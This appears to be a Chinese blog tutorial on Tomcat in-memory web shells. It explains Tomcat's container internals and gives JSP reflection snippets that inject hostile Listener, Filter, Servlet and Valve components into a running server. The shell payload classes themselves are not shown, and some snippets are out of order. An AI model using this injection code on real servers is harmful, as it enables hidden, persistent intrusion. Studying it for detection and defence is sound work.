前言
内存马是指一种只在内存中运行,没有文件落地或者运行后能够删除自身的木马
Servlet,Filter,Listener 由 javax.servlet.ServletContext 去加载,在不同的容器中,实现有所不同,这里仅以 Tomcat 为例进行调试
 
添加配置
1 2 3 4 5
   | <dependency>             <groupId>org.apache.tomcat</groupId>             <artifactId>tomcat-catalina</artifactId>             <version>8.5.85</version>         </dependency>
   | 
 
没这个配置tomcat也能跑但是看不了底层
Tomcat
Tomcat Server大致可以分为三个组件,Service、Connector、Container

其中Server对应就是一个Tomcat实例;Service 默认 只有一个,也就是一个Tomcat实例默认一个Service;
一个Service包含多个Connector和一个Container,不同的Connector连接器,接收不同的连接协议;多个Connector连接器对应一个Container容器
Connector连接器负责外部交流,Container容器负责内部处理。也就是: 连接器处理Socket通信和应用层协议的解析,得到ServletRequest,而容器则负责处理ServletRequest 
Tomcat基础
Connector

Connector用于连接Service和Container,解析客户端的请求并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。
Container
Tomcat的Container包含四种子容器:Engine、Host、Context和Wrapper,在Tomcat源码中我们可以清晰地看到各容器之间的继承关系

Engine代表引擎,用于管理多个站点(Host)
Context对应的是一个Web应用,而一个WEB应用可以有多个Servlet,对应着Context中可以包含多个Wrapper容器,而一个Wrapper封装着一个Servlet。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。
Context

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
Tomcat内存马
Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
如何获取StandardContext
我们想要改变tomcat的状态就必须得获得与底层交互的StandardContext对象
通过获取request对象获取standardContext
通过request对象获取StandardContext
1 2 3 4 5 6
   | <%     Field reqF = request.getClass().getDeclaredField("request");     reqF.setAccessible(true);     Request req = (Request) reqF.get(request);     StandardContext context = (StandardContext) req.getContext(); %>
   | 
 
通过ApplicationFilterChain的ThreadLocal (tomcat 789)
1 2 3 4 5 6 7 8 9 10 11
   | Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal t = (ThreadLocal) f.get(null);
  if (t != null && t.get() != null) {     ServletRequest servletRequest = (ServletRequest) t.get(); } ServletContext servletContext = servletRequest.getServletContext(); Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); StandardContext standardContext=(org.apache.catalina.core.StandardContext) contextField.get(servletContext);
  | 
 
直接从线程中获取standardContext
从ContextClassLoader获取(限制在于只可用于Tomcat 8 9)
1 2
   | WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
   | 
 
全版本
https://xz.aliyun.com/t/9914?time__1311=n4%2BxnD0DuDRDci%2BKDsAoxCwbhCYDtiDgGOrYD#toc-8
Listener型
ServletRequestListener非常适合用来作为内存马,如有设置ServletRequestListener,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法
下面以ServletRequestListener为例
StandardContext#startInternal
startInternal方法会在 Tomcat 启动过程中被调用,以确保内部组件的正确启动和配置。为启动 Web 应用程序准备上下文环境,是最先被触发的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
   | protected synchronized void startInternal() throws LifecycleException {      if (ok && !this.listenerStart()) {             log.error(sm.getString("standardContext.listenerFail"));             ok = false;         }
          if (ok) {             this.checkConstraintsForUncoveredMethods(this.findConstraints());         }
          try {             Manager manager = this.getManager();             if (manager instanceof Lifecycle) {                 ((Lifecycle)manager).start();             }         } catch (Exception var18) {             log.error(sm.getString("standardContext.managerFail"), var18);             ok = false;         }
          if (ok && !this.filterStart()) {             log.error(sm.getString("standardContext.filterFail"));             ok = false;         }
          if (ok && !this.loadOnStartup(this.findChildren())) {             log.error(sm.getString("standardContext.servletFail"));             ok = false;         } .....
 
  | 
 
StandardContext#fireRequestInitEvent
在StandardHostValve中调用了StandardContext#fireRequestInitEvent方法,该方法是 Tomcat 在请求初始化阶段触发的事件之一。它负责向所有监听器发送一个 ServletRequestEvent 事件,并初始化所以的监听器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
   | private String[] applicationListeners = new String[0]; private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
  public boolean listenerStart() {      String[] listeners = this.findApplicationListeners();          Object[] results = new Object[listeners.length];         boolean ok = true;
          for(int i = 0; i < results.length; ++i) {                          try {                 String listener = listeners[i];                 results[i] = this.getInstanceManager().newInstance(listener);                 ......
              List<Object> eventListeners = new ArrayList();                   Object[] instances = results;             int var7 = results.length;              int var8;              Object lifecycleListener;              for(var8 = 0; var8 < var7; ++var8) {                 lifecycleListener = instances[var8];                             if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) {                     eventListeners.add(lifecycleListener);                 }             eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));             this.setApplicationEventListeners(eventListeners.toArray());         public void setApplicationEventListeners(Object[] listeners) {         this.applicationEventListenersList.clear();         if (listeners != null && listeners.length > 0) {             this.applicationEventListenersList.addAll(Arrays.asList(listeners));         }
      }     
     public boolean fireRequestInitEvent(ServletRequest request) {         Object[] instances = this.getApplicationEventListeners();         if (instances != null && instances.length > 0) {             ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);             Object[] var4 = instances;             int var5 = instances.length;
              for(int var6 = 0; var6 < var5; ++var6) {                 Object instance = var4[var6];                 if (instance != null && instance instanceof ServletRequestListener) {                     ServletRequestListener listener = (ServletRequestListener)instance;
                      try {                         listener.requestInitialized(event);                     } catch (Throwable var10) {                         ExceptionUtils.handleThrowable(var10);                         this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);                         request.setAttribute("javax.servlet.error.exception", var10);                         return false;                     }                 }             }         }
          return true;     }
       public void addApplicationEventListener(Object listener) {         this.applicationEventListenersList.add(listener);     }
 
   | 
 
示例
只需要往applicationEventListenersList中加入我们的恶意Listener即可
1 2 3 4 5 6 7 8 9
   | <%     Field reqF = request.getClass().getDeclaredField("request");     reqF.setAccessible(true);     Request req = (Request) reqF.get(request);     StandardContext context = (StandardContext) req.getContext();       Shell_Listener shell_Listener = new Shell_Listener();     context.addApplicationEventListener(shell_Listener); %>
   | 
 
Filter型
在StandardWrapperValve#invoke()方法中,调用了 filterChain.doFilter,进而调用了this.internalDoFilter
1 2
   | ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);  filterChain.doFilter(request.getRequest(), response.getResponse());
   | 
 
ApplicationFilterChain#internalDoFilter
ApplicationFilterChain 类是 Servlet 容器中过滤器链的核心部分,它负责管理和执行过滤器链中的过滤器。当一个请求到达容器时,容器会将该请求交给 ApplicationFilterChain 处理。
ApplicationFilterChain 的 internalDoFilter 方法负责按照过滤器链的顺序执行每个过滤器的 doFilter 方法,并处理过滤器链的流程控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
   | ...  private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0]; ...  ApplicationFilterConfig(Context context, FilterDef filterDef)  ... private void internalDoFilter(ServletRequest request,                                   ServletResponse response)         throws IOException, ServletException {               if (pos < n) {                  ApplicationFilterConfig filterConfig = filters[pos++];             try {                 Filter filter = filterConfig.getFilter();                   if (request.isAsyncSupported() && "false".equalsIgnoreCase(                         filterConfig.getFilterDef().getAsyncSupported())) {                     request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);                 }                 if( Globals.IS_SECURITY_ENABLED ) {                     final ServletRequest req = request;                     final ServletResponse res = response;                     Principal principal =                         ((HttpServletRequest) req).getUserPrincipal();                       Object[] args = new Object[]{req, res, this};                     SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);                 } else {                                                  filter.doFilter(request, response, this);                 }             }  ...     }
   void addFilter(ApplicationFilterConfig filterConfig) {                    for(ApplicationFilterConfig filter:filters) {             if(filter==filterConfig) {                 return;             }         }           if (n == filters.length) {             ApplicationFilterConfig[] newFilters =                 new ApplicationFilterConfig[n + INCREMENT];             System.arraycopy(filters, 0, newFilters, 0, n);             filters = newFilters;         }         filters[n++] = filterConfig;       }   
 
   | 
 
ApplicationFilterFactory#createFilterChain
与Listener不同的是,Filter没有直接加入到filters中,而是封装成ApplicationFilterConfig,现在我们来寻找一下 ApplicationFilterChain.filters 属性里的值是怎么产生的。
最上面我们知道了通过 ApplicationFilterFactory.createFilterChain() 方法可以初始化了一个ApplicationFilterChain类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
   | public static ApplicationFilterChain createFilterChain(ServletRequest request,             Wrapper wrapper, Servlet servlet) {           ...                  filterChain = new ApplicationFilterChain();           filterChain.setServlet(servlet);         filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
          StandardContext context = (StandardContext) wrapper.getParent();         FilterMap filterMaps[] = context.findFilterMaps();                      ...           String servletName = wrapper.getName();                    for (FilterMap filterMap : filterMaps) {                          ...                          ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                                   context.findFilterConfig(filterMap.getFilterName());                                 ...
              filterChain.addFilter(filterConfig);         }           ...                    return filterChain;     }
 
 
      private int dispatcherMapping = 0; private String[] servletNames = new String[0];     private String[] urlPatterns = new String[0];     private String filterName = null;
      private final ContextFilterMaps filterMaps = new ContextFilterMaps();
 
   | 
 
StandardContext#filterStart
可以看出createFilterChain时,根据FilterMap中的信息,从filterConfigs中提取ApplicationFilterConfig,并添加到filterChain中的,接下来看看filterConfigs是怎么创建的
在往上捣,到最开始的StandardContext#filterStart
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
  public boolean filterStart() {         boolean ok = true;         synchronized(this.filterConfigs) {             this.filterConfigs.clear();             Iterator var3 = this.filterDefs.entrySet().iterator();             while(var3.hasNext()) {                 Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();                 String name = (String)entry.getKey();
                  try {                     ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());                     this.filterConfigs.put(name, filterConfig);                         }
  private transient Filter filter = null;  private String filterClass = null;     private String filterName = null;
   | 
 
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
   | <%          ServletContext servletContext = request.getSession().getServletContext();     Field appContextField = servletContext.getClass().getDeclaredField("context");     appContextField.setAccessible(true);     ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);     Field standardContextField = applicationContext.getClass().getDeclaredField("context");     standardContextField.setAccessible(true);
      StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);            FilterMap filterMap = new FilterMap();     filterMap.addURLPattern("/*");     filterMap.setFilterName(name);     filterMap.setDispatcher(DispatcherType.REQUEST.name());     standardContext.addFilterMapBefore(filterMap);  
           Shell_Filter filter = new Shell_Filter();     String name = "CommonFilter";     FilterDef filterDef = new FilterDef();     filterDef.setFilter(filter);     filterDef.setFilterName(name);     filterDef.setFilterClass(filter.getClass().getName());     standardContext.addFilterDef(filterDef);
 
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");     Configs.setAccessible(true);     Map filterConfigs = (Map) Configs.get(standardContext);       Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);     constructor.setAccessible(true);     ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);     filterConfigs.put(name, filterConfig); %>
   | 
 
tomcat 6,7,8 的区别
tomcat 7 与 tomcat 8、9 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样
1 2 3 4 5 6
   | tomcat 7: org.apache.catalina.deploy.FilterDef org.apache.catalina.deploy.FilterMap tomcat 8、9: org.apache.tomcat.util.descriptor.web.FilterDef org.apache.tomcat.util.descriptor.web.FilterMap
   | 
 
tomcat6中dispatch使用字符串表示的,所以在设置FilterMap的使用直接setDispatcher(“REQUEST”)就行了不用之前的DispatcherType类,所以去掉了filterMap.setDispatcher(DispatcherType.REQUEST.name());
FilterDef 在Tomcat6下面没有filter这个属性,Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化,所以去掉了filterDef.setFilter(filter);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   |           FilterMap filterMap = new FilterMap();     filterMap.addURLPattern("/*");     filterMap.setFilterName(name);     standardContext.addFilterMap(filterMap);
           final String name="idoaiod";     Filter filter = new myfilter();     FilterDef filterDef = new FilterDef();     filterDef.setFilterName(name);     filterDef.setFilterClass(filter.getClass().getName());     standardContext.addFilterDef(filterDef);
           Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");     Configs.setAccessible(true);     Map filterConfigs = (Map) Configs.get(standardContext);
      Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);     constructor.setAccessible(true);     ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);     filterConfigs.put(name, filterConfig);
 
 
  | 
 
servlet
servlet不同于filter,listen,它早在StandardContext#startInternal就被加载了
StandardContext#loadOnStartup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
   | .....  public boolean loadOnStartup(Container[] children) {         TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();         Container[] var3 = children;         int var4 = children.length;
          for(int var5 = 0; var5 < var4; ++var5) {             Container child = var3[var5];             Wrapper wrapper = (Wrapper)child;             int loadOnStartup = wrapper.getLoadOnStartup();             if (loadOnStartup >= 0) {                              Integer key = loadOnStartup;                 ArrayList<Wrapper> list = (ArrayList)map.get(key);                 if (list == null) {                     list = new ArrayList();                     map.put(key, list);                 }
                  list.add(wrapper);             }         }         Iterator var12 = map.values().iterator();
          while(var12.hasNext()) {             ArrayList<Wrapper> list = (ArrayList)var12.next();             Iterator var14 = list.iterator();
              while(var14.hasNext()) {                 Wrapper wrapper = (Wrapper)var14.next();
                  try {                     wrapper.load();
   | 
 
ContextConfig
上面我们已经分析了 StandardContext 是通过Wrapper容器加载Servlet,接下来我们具体分析一下如何构造Wrapper
ContextConfig 类是 Tomcat 的内部类,它实现了 Tomcat 的 LifecycleListener 接口,用于监听 Web 应用程序上下文的生命周期事件。具体而言,ContextConfig 类在应用程序启动时负责读取和解析应用程序的 web.xml 配置文件,并将配置信息应用到应用程序的上下文中。ContextConfig 类会创建和初始化 Servlet 上下文对象,用于管理应用程序的 Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | public class ContextConfig implements LifecycleListener { ....      private void configureContext(WebXml webxml) {
          context.setPublicId(webxml.getPublicId());   ...                      while(var35.hasNext()) {             ServletDef servlet = (ServletDef)var35.next();                           Wrapper wrapper = this.context.createWrapper();                 if (servlet.getLoadOnStartup() != null) {                                   wrapper.setLoadOnStartup(servlet.getLoadOnStartup());             }             if (servlet.getEnabled() != null) {                 wrapper.setEnabled(servlet.getEnabled().booleanValue());             }                            wrapper.setName(servlet.getServletName());             Map<String, String> params = servlet.getParameterMap();             var7 = params.entrySet().iterator();
              while(var7.hasNext()) {                 Map.Entry<String, String> entry = (Map.Entry)var7.next();                 wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());             } .......                            wrapper.setServletClass(servlet.getServletClass());             ...             wrapper.setOverridable(servlet.isOverridable());                            context.addChild(wrapper);                var35 = webxml.getServletMappings().entrySet().iterator();
          while(var35.hasNext()) {             Map.Entry<String, String> entry = (Map.Entry)var35.next();             this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());          }                     }         }         ...     }
  | 
 
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <%     Field reqF = request.getClass().getDeclaredField("request");     reqF.setAccessible(true);     Request req = (Request) reqF.get(request);     StandardContext standardContext = (StandardContext) req.getContext(); <%     Wrapper wrapper = standardContext.createWrapper();     String name = servlet.getClass().getSimpleName();     wrapper.setName(name);     wrapper.setLoadOnStartup(1);     wrapper.setServlet(servlet);     wrapper.setServletClass(servlet.getClass().getName()); %> <%     standardContext.addChild(wrapper);     standardContext.addServletMappingDecoded("/abc", name); %>
   | 
 
Valve
上面我们已经介绍了Tomcat的Container的结构,而它的整个调用过程是通过Pipeline-Valve管道进行的
Servlet请求调用过程
把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等 。Valve表示一个处理点,Valve中的invoke方法就是来处理请求的。如StandardWrapperValve#invoke()调用了doFilter,StandardHostValve#invoke()调用了requestInitialized,整个过程是通过连接器CoyoteAdapter中的service方法触发的,它会调用Engine的第一个Valve的invoke方法

Tomcat 中 Pipeline 仅有一个实现类StandardPipeline,存放在 ContainerBase 的 pipeline 属性中,四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | <%
      Field reqF = request.getClass().getDeclaredField("request");     reqF.setAccessible(true);     Request req = (Request) reqF.get(request);     StandardContext standardContext = (StandardContext) req.getContext();
      Pipeline pipeline = standardContext.getPipeline(); %> <%
      Shell_Valve shell_valve = new Shell_Valve();     pipeline.addValve(shell_valve);
  %> <%!     class Shell_Valve extends ValveBase {           @Override         public void invoke(Request request, Response response)          ....
   |